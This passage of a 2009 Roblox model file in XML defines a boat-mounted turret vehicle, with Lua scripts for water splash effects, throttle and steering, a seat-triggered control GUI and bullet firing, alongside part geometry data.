		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,-16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

function SplashB()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

while true do

---------------------------------Throttle

	if VS.Throttle == 1 then
		if VS.MaxSpeed &lt; 41 then
			VS.MaxSpeed = VS.MaxSpeed + VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == -1 then
		if VS.MaxSpeed &gt; -25 then
			VS.MaxSpeed = VS.MaxSpeed - VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == 0 then
		if VS.MaxSpeed &gt;= 1 then
			--VS.MaxSpeed = VS.MaxSpeed - VS.Torque
			SplashF()
		elseif VS.MaxSpeed &lt;= -1 then
			--VS.MaxSpeed = VS.MaxSpeed + VS.Torque
			SplashB()
		end
	end

---------------------------------Steering

	if VS.Steer == 1 then 
		if VS.TurnSpeed &gt; -0.14 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
	elseif VS.Steer == -1 then 
		if VS.TurnSpeed &lt; 0.14 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		end
	elseif VS.Steer == 0 then 
		if VS.TurnSpeed &lt; 0 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		elseif VS.TurnSpeed &gt; 0 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
		if VS.TurnSpeed &lt;= 0.2 and VS.TurnSpeed &gt;= -0.2 then
			VS.TurnSpeed = 0
		end
	end

---------------------------------Application

	bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
	bin.Base.BV.velocity = bin.Base.CFrame.lookVector * VS.MaxSpeed

	wait(0.2)
end

--(C) 2009 Terran Research Commission
</ProtectedString>
					</Properties>
					<Item class="Script" referent="RBX2987">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">true</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">WaterScript</string>
							<ProtectedString name="Source">wait(0.2)
script.Parent.Transparency = 0.5
script.Parent.Mesh.Scale = Vector3.new(       18,	3.8,	22	)
wait(0.2)
script.Parent.Transparency = 0.6
script.Parent.Mesh.Scale = Vector3.new(       22,	3.6,	28	)
wait(0.2)
script.Parent.Transparency = 0.7
script.Parent.Mesh.Scale = Vector3.new(       26,	3.4,	34	)
wait(0.2)
script.Parent.Transparency = 0.8
script.Parent.Mesh.Scale = Vector3.new(       30,	3.2,	40	)
wait(0.2)
script.Parent.Transparency = 0.9
script.Parent.Mesh.Scale = Vector3.new(       34,	3,	46	)
wait(0.2)
script.Parent:remove()
</ProtectedString>
						</Properties>
					</Item>
				</Item>
				<Item class="Model" referent="RBX2988">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">OBC Turret</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Model" referent="RBX2989">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Parts</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="Part" referent="RBX2990">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">2</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">2</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">208</int>
								<CoordinateFrame name="CFrame">
									<X>-280.712433</X>
									<Y>11.344245</Y>
									<Z>211.797287</Z>
									<R00>0.501638591</R00>
									<R01>0.263131559</R01>
									<R02>-0.824087799</R02>
									<R10>0.0100461124</R10>
									<R11>0.950781226</R11>
									<R12>0.309700102</R12>
									<R20>0.865019083</R20>
									<R21>-0.163636416</R21>
									<R22>0.474304974</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">2</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">2</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Part</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>0.000712785404</X>
									<Y>-0.000524872623</Y>
									<Z>-0.000586516166</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>-0.0142944502</X>
									<Y>0.0061504012</Y>
									<Z>0.00593822729</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>2</X>
									<Y>0.400000006</Y>
									<Z>4</Z>
								</Vector3>
							</Properties>
							<Item class="BlockMesh" referent="RBX2991">
								<Properties>
									<bool name="Archivable">true</bool>
									<float name="Bevel">0</float>
									<float name="Bevel Roundness">0</float>
									<float name="Bulge">0</float>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
							<Item class="Fire" referent="RBX2992">
								<Properties>
									<bool name="Archivable">true</bool>
									<Color3 name="Color">4294944000</Color3>
									<bool name="Enabled">false</bool>
									<string name="Name">Fire</string>
									<Color3 name="SecondaryColor">4294901760</Color3>
									<float name="heat_xml">25</float>
									<float name="size_xml">30</float>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX2993">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">2</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">2</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">1001</int>
								<CoordinateFrame name="CFrame">
									<X>-287.575317</X>
									<Y>13.0893354</Y>
									<Z>215.178909</Z>
									<R00>-0.263131559</R00>
									<R01>-0.824087799</R01>
									<R02>-0.501638591</R02>
									<R10>-0.950781226</R10>
									<R11>0.309700102</R11>
									<R12>-0.0100461124</R12>
									<R20>0.163636416</R20>
									<R21>0.474304974</R21>
									<R22>-0.865019083</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">2</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">2</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">2</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Part</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">2</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>0.000712785404</X>
									<Y>-0.000524872623</Y>
									<Z>-0.000586516166</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>-0.0150458468</X>
									<Y>0.00776522281</Y>
									<Z>0.00357996277</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>1</X>
									<Y>0.800000012</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
							<Item class="CylinderMesh" referent="RBX2994">
								<Properties>
									<bool name="Archivable">true</bool>
									<float name="Bevel">0</float>
									<float name="Bevel Roundness">0</float>
									<float name="Bulge">0</float>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>-0.699999988</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>1</X>
										<Y>1</Y>
										<Z>0.400000006</Z>
									</Vector3>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX2995">
							<Properties>
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									<X>-276.787415</X>
									<Y>9.29619122</Y>
									<Z>211.280792</Z>
									<R00>0.500110567</R00>
									<R01>-0.000433623791</R01>
									<R02>-0.865961552</R02>
									<R10>0.00459999312</R10>
									<R11>0.999987066</R11>
									<R12>0.0021558404</R12>
									<R20>0.865949392</R20>
									<R21>-0.00506167114</R21>
									<R22>0.500105977</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Part</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>0.00253061112</X>
									<Y>0.000121983161</Y>
									<Z>0.00395261496</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>0.000561942812</X>
									<Y>0.0361565053</Y>
									<Z>0.00140601001</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>1</X>
									<Y>1</Y>
									<Z>6</Z>
								</Vector3>
							</Properties>
							<Item class="BlockMesh" referent="RBX3067">
								<Properties>
									<bool name="Archivable">true</bool>
									<float name="Bevel">0</float>
									<float name="Bevel Roundness">0</float>
									<float name="Bulge">0</float>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
							<Item class="Fire" referent="RBX3068">
								<Properties>
									<bool name="Archivable">true</bool>
									<Color3 name="Color">4294944256</Color3>
									<bool name="Enabled">false</bool>
									<string name="Name">Fire</string>
									<Color3 name="SecondaryColor">4294901760</Color3>
									<float name="heat_xml">25</float>
									<float name="size_xml">30</float>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="VehicleSeat" referent="RBX3069">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">5</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">23</int>
							<CoordinateFrame name="CFrame">
								<X>-276.239075</X>
								<Y>10.2860441</Y>
								<Z>209.226654</Z>
								<R00>-0.500110567</R00>
								<R01>-0.000433623791</R01>
								<R02>0.865961552</R02>
								<R10>-0.00459999312</R10>
								<R11>0.999987066</R11>
								<R12>-0.0021558404</R12>
								<R20>-0.865949392</R20>
								<R21>-0.00506167114</R21>
								<R22>-0.500105977</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<bool name="HeadsUpDisplay">false</bool>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<float name="MaxSpeed">100</float>
							<string name="Name">VehicleSeat</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0.00253061112</X>
								<Y>0.000121983161</Y>
								<Z>0.00395261496</Z>
							</Vector3>
							<int name="Steer">0</int>
							<int name="Throttle">0</int>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Torque">20</float>
							<float name="Transparency">0</float>
							<float name="TurnSpeed">1</float>
							<Vector3 name="Velocity">
								<X>-0.00360113522</X>
								<Y>0.0435221046</Y>
								<Z>0.00384405442</Z>
							</Vector3>
							<Vector3 name="size">
								<X>4</X>
								<Y>1</Y>
								<Z>3</Z>
							</Vector3>
						</Properties>
						<Item class="Script" referent="RBX3070">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Pickup</string>
								<ProtectedString name="Source">script.Parent.ChildAdded:connect(function(w)
print(&quot;ChildAdded&quot;)
if w.className==&quot;Weld&quot; then
print(&quot;IsAWeld&quot;)
if w.Name==&quot;SeatWeld&quot; then
print(&quot;IsASeatWeld&quot;)
if w.Part1.Parent:findFirstChild(&quot;Humanoid&quot;)~=nil then
print(&quot;IsAHumanoid&quot;)
pl=game.Players:GetPlayerFromCharacter(w.Part1.Parent)
if pl~=nil then
print(&quot;IsAPlayer&quot;)
if pl.PlayerGui:findFirstChild(&quot;VehicleGui&quot;)~=nil then
print(&quot;found vehicle gui - deleting&quot;)
pl.PlayerGui:findFirstChild(&quot;VehicleGui&quot;).Parent=nil
print(&quot;deleted&quot;)
else
print(&quot;no gui found - adding&quot;)
newgui=script.Parent.VehicleGui:clone()
newgui.Parent=pl.PlayerGui
newgui.Vehicle.Value=script.Parent.Parent

print(&quot;added&quot;)
end
end
end
end
end
end)

script.Parent.ChildRemoved:connect(function(w)
print(&quot;ChildRemoved&quot;)
if w.className==&quot;Weld&quot; then
print(&quot;IsAWeld&quot;)
if w.Name==&quot;SeatWeld&quot; then
print(&quot;IsASeatWeld&quot;)
if w.Part1.Parent:findFirstChild(&quot;Humanoid&quot;)~=nil then
print(&quot;IsAHumanoid&quot;)
pl=game.Players:GetPlayerFromCharacter(w.Part1.Parent)
if pl~=nil then
print(&quot;IsAPlayer&quot;)
if pl.PlayerGui:findFirstChild(&quot;VehicleGui&quot;)~=nil then
print(&quot;found vehicle gui - deleting&quot;)
pl.PlayerGui:findFirstChild(&quot;VehicleGui&quot;).Parent=nil
print(&quot;deleted&quot;)
else
print(&quot;no gui found - wierd...&quot;)
end
end
end
end
end
end)

</ProtectedString>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3071">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">SteerScript</string>
								<ProtectedString name="Source">MP = script.Parent.Parent.Part1
MP2 = script.Parent.Parent.Part2
Height = 15

while true do
wait()

if script.Parent.Steer == 1 then
MP.BodyGyro.cframe = MP.BodyGyro.cframe*CFrame.Angles(0,math.rad(-2),0)
print(&quot;Right&quot;)
end

if script.Parent.Steer == -1 then
MP.BodyGyro.cframe = MP.BodyGyro.cframe*CFrame.Angles(0,math.rad(2),0)
print(&quot;Left&quot;)
end 


if script.Parent.Throttle == 1 then
if Height ~= 30 then 
Height = Height + 1
MP2.BodyGyro.cframe = MP2.BodyGyro.cframe*CFrame.Angles(math.rad(2),0,0)
end end


if script.Parent.Throttle == -1 then
if Height ~= 1 then
Height = Height - 1
MP2.BodyGyro.cframe = MP2.BodyGyro.cframe*CFrame.Angles(math.rad(-2),0,0)
end end

end










</ProtectedString>
							</Properties>
						</Item>
						<Item class="ScreenGui" referent="RBX3072">
							<Properties>
								<bool name="Archivable">true</bool>
								<string name="Name">VehicleGui</string>
							</Properties>
							<Item class="Frame" referent="RBX3073">
								<Properties>
									<bool name="Active">false</bool>
									<bool name="Archivable">true</bool>
									<Color3 name="BackgroundColor3">4281545523</Color3>
									<float name="BackgroundTransparency">0</float>
									<Color3 name="BorderColor3">4278190080</Color3>
									<int name="BorderSizePixel">1</int>
									<bool name="Draggable">false</bool>
									<string name="Name">Frame</string>
									<UDim2 name="Position">
										<XS>0.460000008</XS>
										<XO>0</XO>
										<YS>0.675000012</YS>
										<YO>0</YO>
									</UDim2>
									<UDim2 name="Size">
										<XS>0.140000001</XS>
										<XO>0</XO>
										<YS>0.13000001</YS>
										<YO>0</YO>
									</UDim2>
									<token name="SizeConstraint">0</token>
									<token name="Style">0</token>
									<bool name="Visible">true</bool>
									<int name="ZIndex">1</int>
								</Properties>
								<Item class="Script" referent="RBX3074">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">Script</string>
										<ProtectedString name="Source">repeat wait() until script.Parent.Parent.Vehicle.Value~=nil

db=false
held=false

v=script.Parent.Parent.Vehicle
f=script.Parent
guns=script.Parent.Machine

function fireguns()
v1=v.Value.Gun1Bullet:clone()
vel=Instance.new(&quot;BodyVelocity&quot;)
vel.Parent=v1
v1.Velocity=v1.CFrame.lookVector*500
vel.velocity=v1.Velocity
v1.Anchored=false
--v1.CanCollide=true
v1.Transparency=0
v1.Damage.Disabled=false
v1.Parent=workspace
print(&quot;Created bullet&quot;)
v.Value.Gun1Bullet.Fire:Play()
end


function gunsdown()
held=true
while held==true do
fireguns()
print(&quot;Fire bullet&quot;)
wait(0.1)
end
end

function gunsup()
held=false
print(&quot;up&quot;)
end


guns.MouseButton1Down:connect(gunsdown)
guns.MouseButton1Up:connect(gunsup)
guns.MouseLeave:connect(function() gunsup() end)




</ProtectedString>
									</Properties>
								</Item>
								<Item class="Frame" referent="RBX3075">
									<Properties>
										<bool name="Active">false</bool>
										<bool name="Archivable">true</bool>
										<Color3 name="BackgroundColor3">4294967295</Color3>
										<float name="BackgroundTransparency">0.800000012</float>
										<Color3 name="BorderColor3">4294967295</Color3>
										<int name="BorderSizePixel">0</int>
										<bool name="Draggable">false</bool>
										<string name="Name">Frame</string>
										<UDim2 name="Position">
											<XS>0</XS>
											<XO>0</XO>
											<YS>0</YS>
											<YO>0</YO>
										</UDim2>
										<UDim2 name="Size">
											<XS>1</XS>
											<XO>0</XO>
											<YS>0.500000119</YS>
											<YO>0</YO>
										</UDim2>
										<token name="SizeConstraint">0</token>
										<token name="Style">0</token>
										<bool name="Visible">true</bool>
										<int name="ZIndex">1</int>
									</Properties>
								</Item>
								<Item class="TextButton" referent="RBX3076">
									<Properties>
										<bool name="Active">true</bool>
										<bool name="Archivable">true</bool>
										<bool name="AutoButtonColor">true</bool>
										<Color3 name="BackgroundColor3">4289003553</Color3>
										<float name="BackgroundTransparency">0</float>
										<Color3 name="BorderColor3">4278190080</Color3>
										<int name="BorderSizePixel">1</int>
										<bool name="Draggable">false</bool>
										<token name="Font">0</token>
										<token name="FontSize">2</token>
										<string name="Name">Machine</string>
										<UDim2 name="Position">
											<XS>0.0500015542</XS>
											<XO>0</XO>
											<YS>0.0500000007</YS>
											<YO>0</YO>
										</UDim2>
										<bool name="Selected">false</bool>
										<UDim2 name="Size">
											<XS>0.700000167</XS>
											<XO>0</XO>
											<YS>0.350000024</YS>
											<YO>0</YO>
										</UDim2>
										<token name="SizeConstraint">0</token>
										<token name="Style">0</token>
										<string name="Text">Shoot</string>
										<Color3 name="TextColor3">4294967295</Color3>
										<float name="TextTransparency">0</float>
										<bool name="TextWrap">false</bool>
										<token name="TextXAlignment">2</token>
										<token name="TextYAlignment">1</token>
										<bool name="Visible">true</bool>
										<int name="ZIndex">1</int>
									</Properties>
								</Item>
							</Item>
							<Item class="ObjectValue" referent="RBX3077">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">Vehicle</string>
									<Ref name="Value">null</Ref>
								</Properties>
							</Item>
						</Item>
						<Item class="CylinderMesh" referent="RBX3078">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>-0.400000006</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>0.200000003</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Fire" referent="RBX3079">
							<Properties>
								<bool name="Archivable">true</bool>
								<Color3 name="Color">4294955008</Color3>
								<bool name="Enabled">false</bool>
								<string name="Name">Fire</string>
								<Color3 name="SecondaryColor">4294901760</Color3>
								<float name="heat_xml">25</float>
								<float name="size_xml">30</float>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX3080">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">23</int>
							<CoordinateFrame name="CFrame">
								<X>-281.028198</X>
								<Y>10.2033072</Y>
								<Z>211.993652</Z>
								<R00>-0.501638591</R00>
								<R01>0.263131559</R01>
								<R02>0.824087799</R02>
								<R10>-0.0100461124</R10>
								<R11>0.950781226</R11>
								<R12>-0.309700102</R12>
								<R20>-0.865019083</R20>
								<R21>-0.163636416</R21>
								<R22>-0.474304974</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part2</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0.000712785404</X>
								<Y>-0.000524872623</Y>
								<Z>-0.000586516166</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-0.0150666954</X>
								<Y>0.00619563647</Y>
								<Z>0.00495924708</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>2</Y>
								<Z>6</Z>
							</Vector3>
						</Properties>
						<Item class="BlockMesh" referent="RBX3081">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyGyro" referent="RBX3082">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">500</float>
								<string name="Name">BodyGyro</string>
								<float name="P">3000</float>
								<CoordinateFrame name="cframe">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>2.2594013e-006</R01>
									<R02>-4.30987529e-005</R02>
									<R10>-2.22272829e-005</R10>
									<R11>0.882953703</R11>
									<R12>-0.469459474</R12>
									<R20>3.69936279e-005</R20>
									<R21>0.469459474</R21>
									<R22>0.882953703</R22>
								</CoordinateFrame>
								<Vector3 name="maxTorque">
									<X>1000</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Fire" referent="RBX3083">
							<Properties>
								<bool name="Archivable">true</bool>
								<Color3 name="Color">4294944256</Color3>
								<bool name="Enabled">false</bool>
								<string name="Name">Fire</string>
								<Color3 name="SecondaryColor">4294901760</Color3>
								<float name="heat_xml">25</float>
								<float name="size_xml">30</float>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX3084">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">208</int>
							<CoordinateFrame name="CFrame">
								<X>-288.171448</X>
								<Y>12.9927769</Y>
								<Z>216.103745</Z>
								<R00>-0.501638591</R00>
								<R01>0.263131559</R01>
								<R02>0.824087799</R02>
								<R10>-0.0100461124</R10>
								<R11>0.950781226</R11>
								<R12>-0.309700102</R12>
								<R20>-0.865019083</R20>
								<R21>-0.163636416</R21>
								<R22>-0.474304974</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Gun1Bullet</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0.000712785404</X>
								<Y>-0.000524872623</Y>
